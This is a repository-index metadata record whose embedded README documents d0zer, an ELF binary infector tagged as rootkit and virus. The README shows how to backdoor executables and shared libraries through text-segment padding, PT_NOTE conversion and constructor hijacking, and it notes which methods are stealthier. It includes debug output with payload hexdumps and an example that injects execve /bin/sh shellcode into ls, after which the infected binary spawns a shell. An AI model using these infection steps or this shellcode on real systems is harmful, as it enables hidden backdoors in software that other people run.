{"id":13685798,"url":"https://github.com/sad0p/d0zer","last_synced_at":"2025-04-04T08:06:47.929Z","repository":{"id":37234478,"uuid":"360982945","full_name":"sad0p/d0zer","owner":"sad0p","description":"Elf binary infector written in Go.","archived":false,"fork":false,"pushed_at":"2025-01-11T02:25:59.000Z","size":139,"stargazers_count":208,"open_issues_count":0,"forks_count":36,"subscribers_count":6,"default_branch":"main","last_synced_at":"2025-04-03T20:40:14.544Z","etag":null,"topics":["elf-binaries","linux","rootkit","virus"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sad0p.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-04-23T19:13:17.000Z","updated_at":"2025-03-24T03:29:01.000Z","dependencies_parsed_at":"2022-08-18T18:31:34.834Z","dependency_job_id":"b4563003-570a-46ec-b1de-24645c7a2f3c","html_url":"https://github.com/sad0p/d0zer","commit_stats":null,"previous_names":[],"tags_count":4,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sad0p%2Fd0zer","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sad0p%2Fd0zer/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sad0p%2Fd0zer/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sad0p%2Fd0zer/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sad0p","download_url":"https://codeload.github.com/sad0p/d0zer/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247142063,"owners_count":20890652,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["elf-binaries","linux","rootkit","virus"],"created_at":"2024-08-02T14:00:57.463Z","updated_at":"2025-04-04T08:06:47.910Z","avatar_url":"https://github.com/sad0p.png","language":"Go","readme":"# d0zer\nElf binary infector written in Go. It can be used for infecting executables of type ET_DYN and ET_EXEC with a payload of your creation. Utilizing the classic elf text segment padding algorithm by Silvio Cesar, your payload (parasite) will run before native functionality of the binary effectively backooring the binary.\n\nd0zer currently allows for up to a page size payload (4096 bytes). It is capable of infecting both x86_32 and x86_64  elf executable binaries executables.\n\n# Motivation\nMy motivations are quite simple, I like doing interesting things with the ELFs and binary infection of a target requires a decent amount of overhead knowledge and skill as a prerequisite to perform it (TO ME), so I set out to learn from papers, books and specs from the past (see references), throwed Golang in the middle for increased difficulty and here I am.\n\n# build\n\n\u003cpre\u003e \n[sad0p@arch-deliberate d0zer]$ go version\ngo version go1.21.2 linux/amd64\n[sad0p@arch-deliberate d0zer]$ go build\n\u003c/pre\u003e\n\n# Usage\n\u003cpre\u003e\n[sad0p@arch-deliberate d0zer]$ ./d0zer -help\n  -ctorsHijack\n    \tHijack the first constructor in the target to start parasitic execution intead of modifying the OEP\n  -debug\n    \tsee debug output (generated payload, modifications, etc)\n  -help\n    \tsee this help menu\n  -infectionAlgo string\n    \tspecify infection algorithm to use (default \"TextSegmentPadding\")\n  -listAlgos\n    \tlist available infection algorithms\n  -noPreserve\n    \tprevents d0zer from prepending its register preservation routine to your payload\n  -noRestoration\n    \tprevents d0zer from appending register restoration routine to your payload\n  -noRetOEP\n    \tprevents d0zer from appending ret-to-OEP (continue execution after payload) to payload\n  -payloadBin string\n    \tpath to binary containing payload\n  -payloadEnv string\n    \tname of the environmental variable holding the payload\n  -target string\n    \tpath to binary targeted for infection\n[sad0p@arch-deliberate d0zer]$ \n\u003c/pre\u003e\nBasic demo (benign) infection can be accomplished with `./dozer -target [path-to-target]`.\n\u003cpre\u003e \n[sad0p@Arch-Deliberate d0zer]$ ./d0zer -target experimental/ls\n[sad0p@Arch-Deliberate d0zer]$ experimental/ls-infected\nhello -- this is a non destructive payloadd0zer\t     epiloguejmp.go  jmp-to-oep32      jmp-to-oep.o\t\t  non-destructive-payload32.asm  non-destructive-payload64.o  shellcode.c\nd0zer.go     experimental    jmp-to-oep32.asm  LICENSE\t\t\t  non-destructive-payload32.o\t output\t\t\t      test\nelf64\t     genpayload.go   jmp-to-oep32.o    non-destructive-payload\t  non-destructive-payload64\t README.md\t\t      test.go\nepiloguejmp  jmp-to-oep      jmp-to-oep.asm    non-destructive-payload32  non-destructive-payload64.asm  shellcode\n[sad0p@Arch-Deliberate d0zer]$ \n\u003c/pre\u003e\n\nSupplying `-debug` allows you to see each step of the infection algorithm at work aswell as a hexdump of the payload as it will be in the binary. \n\n\u003cpre\u003e\n[sad0p@Arch-Deliberate d0zer]$ ./d0zer -target experimental/ls -debug\n[+] Modified entry point from 0x5b20 -\u003e 0x173d1\n[+] Text segment starts @ 0x4000\n[+] Text segment ends @ 0x173d1\n[+] Payload size pre-epilogue 0x5c\n[+] Payload size post-epilogue 0x90\n------------------PAYLOAD----------------------------\n00000000  50 51 53 52 56 57 55 54  41 50 41 51 41 52 41 53  |PQSRVWUTAPAQARAS|\n00000010  41 54 41 55 41 56 41 57  eb 00 e8 2b 00 00 00 68  |ATAUAVAW...+...h|\n00000020  65 6c 6c 6f 20 2d 2d 20  74 68 69 73 20 69 73 20  |ello -- this is |\n00000030  61 20 6e 6f 6e 20 64 65  73 74 72 75 63 74 69 76  |a non destructiv|\n00000040  65 20 70 61 79 6c 6f 61  64 0a b8 01 00 00 00 bf  |e payload.......|\n00000050  01 00 00 00 5e ba 2a 00  00 00 0f 05 41 5f 41 5e  |....^.*.....A_A^|\n00000060  41 5d 41 5c 41 5b 41 5a  41 59 41 58 5c 5d 5f 5e  |A]A\\A[AZAYAX\\]_^|\n00000070  5a 5b 59 58 e8 12 00 00  00 48 83 e8 79 48 2d d1  |Z[YX.....H..yH-.|\n00000080  73 01 00 48 05 20 5b 00  00 ff e0 48 8b 04 24 c3  |s..H. [....H..$.|\n--------------------END------------------------------\n[+] Generated and appended position independent return 2 OEP stub to payload\n[+] Increased text segment p_filesz and p_memsz by 144 (length of payload)\n[+] Adjusting segments after text segment file offsets by 0x1000\nInceasing pHeader @ index 4 by 0x1000\nInceasing pHeader @ index 5 by 0x1000\nInceasing pHeader @ index 6 by 0x1000\nInceasing pHeader @ index 8 by 0x1000\nInceasing pHeader @ index 10 by 0x1000\n[+] Increasing section header addresses if they come after text segment\n[+] Extending section header entry for text section by payload len.\n[+] (15) Updating sections past text section @ addr 0x18000\n[+] (16) Updating sections past text section @ addr 0x1d324\n[+] (17) Updating sections past text section @ addr 0x1dc78\n[+] (18) Updating sections past text section @ addr 0x21fd0\n[+] (19) Updating sections past text section @ addr 0x21fd8\n[+] (20) Updating sections past text section @ addr 0x21fe0\n[+] (21) Updating sections past text section @ addr 0x22a58\n[+] (22) Updating sections past text section @ addr 0x22c58\n[+] (23) Updating sections past text section @ addr 0x23000\n[+] (24) Updating sections past text section @ addr 0x23280\n[+] (25) Updating sections past text section @ addr 0x0\n[+] (26) Updating sections past text section @ addr 0x0\n[+] writing payload into the binary\n\u003c/pre\u003e\n\nA custom payload can be injected into the binary with the `-payloadEnv` flag. Below I inject a basic execve /bin/sh shellcode into the ls command as an example.\n\n\u003cpre\u003e\n[sad0p@Arch-Deliberate d0zer]$ export DOZEREGG=\"\\x6a\\x3b\\x58\\x99\\x52\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05\"\n[sad0p@Arch-Deliberate d0zer]$ ./d0zer -target experimental/ls -payloadEnv DOZEREGG\n[sad0p@Arch-Deliberate d0zer]$ experimental/ls-infected\nsh-5.1$ \n\u003c/pre\u003e\n\nThe `-payloadBin` flag is currently not implemented, it would allow you to supply a PIE (binary), where the contents of the text\nsegments would serve as the payload.\n\n\u003cpre\u003e\n[sad0p@Arch-Deliberate d0zer]$ ./d0zer -target experimental/ls -payloadBin ./non-destructive-payload64\nGetting payload from an ELF binary .text segment is not yet supported\n[sad0p@Arch-Deliberate d0zer]$ \n\u003c/pre\u003e\n\nA list of supported infection algorithms can be seen with `--listAlgos`.\n\n\u003cpre\u003e\n[sad0p@arch-deliberate d0zer]$ ./d0zer --listAlgos\nTextSegmentPadding\n\tExtends the text segment and append your payload. There are max payload size considerations. Also more \"stealthy\" than ptnote2ptload.\nPtNoteToPtLoad\n\tConverts the PT_NOTE segment to PT_LOAD. Payloads can be of arbitrary length, more stable than textsegmentpadding but easier to detect\n[sad0p@arch-deliberate d0zer]$ \n\u003c/pre\u003e\n\nInfection algorithm `TextSegmentPadding` is the default algorithm of choice, however it is limited based on the size of the payload and the target. For arbitrary sized payloads, `PtNoteToPtLoad` is a better choice (however it is not as covert).\n\nFor entry point obfuscation, we can use `-ctorsHijack` option, this modifies relocations associated with `.init_array` section. The \n`.init_array` section is essentially an array of function pointers that are called during runtime to be executed before `main()` or when dynamic linking of a shared object is performed, that is we can infect shared objects and have code execution performed with the `-ctorsHijack` option, code execution will take place in the context of the binary linking the shared object.\n\nThe following is an example of using -ctorsHijack (relative relocation poisoning/hijacking) to infect a shared library using TextSegmentPadding. \n\u003cpre\u003e\n[sad0p@arch-deliberate testlib2]$ cat compile-lib.sh \n#!/bin/bash\n\ngcc -c -Wall -Werror -fpic foo.c;\ngcc -shared -o libfoo.so foo.o;\ngcc -L $PWD -Wall -o test main.c -lfoo;\nexport LD_LIBRARY_PATH=$PWD:$LD_LIBRARY_PATH;\n/bin/bash;\n[sad0p@arch-deliberate testlib2]$ cat foo.c\n#include \u003cstdio.h\u003e\n \n \nvoid foo(void)\n{\n    puts(\"Hello, I am a shared library\");\n}\n[sad0p@arch-deliberate testlib2]$ cat foo.h\n#ifndef foo_h__\n#define foo_h__\n \nextern void foo(void);\n \n#endif  // foo_h__\n[sad0p@arch-deliberate testlib2]$ cat main.c\n#include \u003cstdio.h\u003e\n#include \"foo.h\"\n \nint main(void)\n{\n    puts(\"This is a shared library test...\");\n    foo();\n    return 0;\n}\n[sad0p@arch-deliberate testlib2]$ cat foo.h\n#ifndef foo_h__\n#define foo_h__\n \nextern void foo(void);\n \n#endif  // foo_h__\n[sad0p@arch-deliberate testlib2]$ cat foo.c\n#include \u003cstdio.h\u003e\n \n \nvoid foo(void)\n{\n    puts(\"Hello, I am a shared library\");\n}\n[sad0p@arch-deliberate testlib2]$ \n[sad0p@arch-deliberate testlib2]$ ./compile-lib.sh \n[sad0p@arch-deliberate testlib2]$ ls\ncompile-lib.sh  foo.c  foo.h  foo.o  libfoo.so  main.c  test\n[sad0p@arch-deliberate testlib2]$ ./test\nThis is a shared library test...\nHello, I am a shared library\n[sad0p@arch-deliberate testlib2]$ ../../d0zer -target ./libfoo.so -infectionAlgo TextSegmentPadding -ctorsHijack -debug \n[+] Maximum payload size 0xed3 for ./libfoo.so\n[+] CtorsHijack requested. Locating and reading Dynamic Segment\n[+] 24 entries in Dynamic Segment\n[+] Located DT_RELA @ 0x0000000000000478\n[+] DT_RELA has 24 entries\n[+] File offset of relocations @ 0x0000000000000478\n[+] Found viable relocation record hooking/poisoning\n\toffset: 0x0000000000003df8\n\ttype: R_X86_64_RELATIVE\n\tAddend: 0x0000000000001100\n[+] offset 0x0000000000002df8 updated with value (Addend) 000000000000112d\n[+] Text segment starts @ 0x1000\n[+] Text segment ends @ 0x112d\n[+] Payload size pre-epilogue 0x5c\n[+] Appended default restoration stub\n[+] Generated and appended position independent return 2 OEP stub to payload\n[+] Payload size post-epilogue 0x90\n------------------PAYLOAD----------------------------\n00000000  54 50 51 53 52 56 57 55  41 50 41 51 41 52 41 53  |TPQSRVWUAPAQARAS|\n00000010  41 54 41 55 41 56 41 57  eb 00 e8 2b 00 00 00 68  |ATAUAVAW...+...h|\n00000020  65 6c 6c 6f 20 2d 2d 20  74 68 69 73 20 69 73 20  |ello -- this is |\n00000030  61 20 6e 6f 6e 20 64 65  73 74 72 75 63 74 69 76  |a non destructiv|\n00000040  65 20 70 61 79 6c 6f 61  64 0a b8 01 00 00 00 bf  |e payload.......|\n00000050  01 00 00 00 5e ba 2a 00  00 00 0f 05 41 5f 41 5e  |....^.*.....A_A^|\n00000060  41 5d 41 5c 41 5b 41 5a  41 59 41 58 5d 5f 5e 5a  |A]A\\A[AZAYAX]_^Z|\n00000070  5b 59 58 5c e8 12 00 00  00 48 83 e8 79 48 2d 2d  |[YX\\.....H..yH--|\n00000080  11 00 00 48 05 00 11 00  00 ff e0 48 8b 04 24 c3  |...H.......H..$.|\n--------------------END------------------------------\n[+] Increased text segment p_filesz and p_memsz by 144 (length of payload)\n[+] Adjusting segments after text segment file offsets by 0x1000\n\tInceasing pHeader @ index 2 by 0x1000\n\tInceasing pHeader @ index 3 by 0x1000\n\tInceasing pHeader @ index 4 by 0x1000\n\tInceasing pHeader @ index 8 by 0x1000\n\tInceasing pHeader @ index 10 by 0x1000\n[+] Increasing section header addresses if they come after text segment\n[+] Extending section header entry for text section by payload len.\n[+] (14) Updating sections past text section @ addr 0x2000\n[+] (15) Updating sections past text section @ addr 0x2020\n[+] (16) Updating sections past text section @ addr 0x2040\n[+] (17) Updating sections past text section @ addr 0x3df8\n[+] (18) Updating sections past text section @ addr 0x3e00\n[+] (19) Updating sections past text section @ addr 0x3e08\n[+] (20) Updating sections past text section @ addr 0x3fc8\n[+] (21) Updating sections past text section @ addr 0x3fe8\n[+] (22) Updating sections past text section @ addr 0x4008\n[+] (23) Updating sections past text section @ addr 0x4010\n[+] (24) Updating sections past text section @ addr 0x0\n[+] (25) Updating sections past text section @ addr 0x0\n[+] (26) Updating sections past text section @ addr 0x0\n[+] (27) Updating sections past text section @ addr 0x0\n[+] writing payload into the binary\n[sad0p@arch-deliberate testlib2]$ ls\ncompile-lib.sh  foo.c  foo.h  foo.o  libfoo.so  libfoo.so-infected  main.c  test\n[sad0p@arch-deliberate testlib2]$ cp libfoo.so-infected libfoo.so-infected.backup\n[sad0p@arch-deliberate testlib2]$ cp libfoo.so libfoo.so-clean-backup\n[sad0p@arch-deliberate testlib2]$ mv libfoo.so-infected libfoo.so\n[sad0p@arch-deliberate testlib2]$ ./test\nhello -- this is a non destructive payloadThis is a shared library test...\nHello, I am a shared library\n[sad0p@arch-deliberate testlib2]$ ls\ncompile-lib.sh  foo.c  foo.h  foo.o  libfoo.so  libfoo.so-clean-backup  libfoo.so-infected.backup  main.c  test\n[sad0p@arch-deliberate testlib2]$ \n\n\u003c/pre\u003e  \n\n# VX-Underground Black Mass Volume 2\n\nShared object infection through relocation hijacking / poisoning is well documented in Black Mass Volume 2 [here.](https://samples.vx-underground.org/root/Papers/Other/VXUG%20Zines/2023-09-19%20-%20Black%20Mass%20Volume%20II.pdf)\n\n# Advance Usage\n\nIn the event you don't like the routines d0zer add to your code the following flags can be utilized, however your payload\nshould handle any consequences that come comes from removing them.\n\nThe `-noPreserve` flag removes the general purpose register preservation routine. For x86_32 targets this is accomplished via a `pushad` instruction. For x86_64 targets, all general purpose registers are manually pushed onto the stack as the the `pushad` instruction in x86_64 is not valid. The overall purpose of this routine is to preserve register states after execution of your payload, when control is handed back to libc runtime routine (OEP) it expects certain register values in order to properly execute. In some contexts, I was able to simply preserve the `RDX` register and no crashes occured, in others (using shellcode I downloaded) preserving `RDX` was not enough. So in order to stay \"portable\", I thought it was wise to save all state as I wasn't completely sure which registers were needed currently or in the future.\n\nThe `-noRestoration` flag removes the restoration routine, which is the opposite of the preservation routine, it performs a `popa` for x86_32 targets and a manual popping of each general purpose register from the stack.\n\nThe `-noRetOEP` flag removes the \"return to original entry point\" routine. This stub enables portability across pie (ET_DYN) and non-pie (ET_EXEC) elf executables. The code extracts the randomized base address by capturing the current instuction pointer value in accumulator register. It then substracts the payload length from the accumulator (+ 5 bytes for the relative call instruction), then subtracts the entry point of payload. Finally it adds the offset of the binaries OEP to then perform a `jmp rax` or `jmp eax` (for x86_32) instruction to start executing native/non-parasitic code. If you intend on handling this your self then your code must handle proper exiting/continuation of the binary to avoid SIGSEGV.\n\nAll preservation, restoration and ret-2-oep shellcode are heavily commented for clarity. Restoration and preservation stubs can be found at the top of the `d0zer.go` source file. The `ret2OEP` routine can be found in `epilogue.go`.\n\n# Payload considerations\n\nIt's worth noting that code being injected (payload/parasite) should be position independent. Additionally with in your payload anything pushed onto the stack should be popped off if you choose to use restoration and preservations stubs (which d0zer prepends \u0026 appends by default). Due to the stacks LIFO structure, should anything (except the register values pushed in the preservation stub)be on there after you've executed your payload you run the risk of getting a SIGSEGV in the libc runtime routine.\n\n# References\n\u003cpre\u003e\nLinux Binary Analysis by Ryan Oneil (Elfmaster), see virus technology chapter.\n\nLPV (a unix virus) written in C utilizing the same algorithm as d0zer written by Elfmaster.\nhttps://bitlackeys.org/projects/lpv.c\n\nUnix ELF parasites and viruses - by Silvio Cesar\nhttps://vx-underground.org/archive/VxHeaven/lib/vsc01.html\n\nReturn To Original Entry Point Despite PIE - by s0lden\nhttps://tmpout.sh/1/11.html\n\u003c/pre\u003e\n\n","funding_links":[],"categories":["Awesome Repositories","Malware Analysis"],"sub_categories":["ELF binary format","Web Malwares"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsad0p%2Fd0zer","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsad0p%2Fd0zer","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsad0p%2Fd0zer/lists"}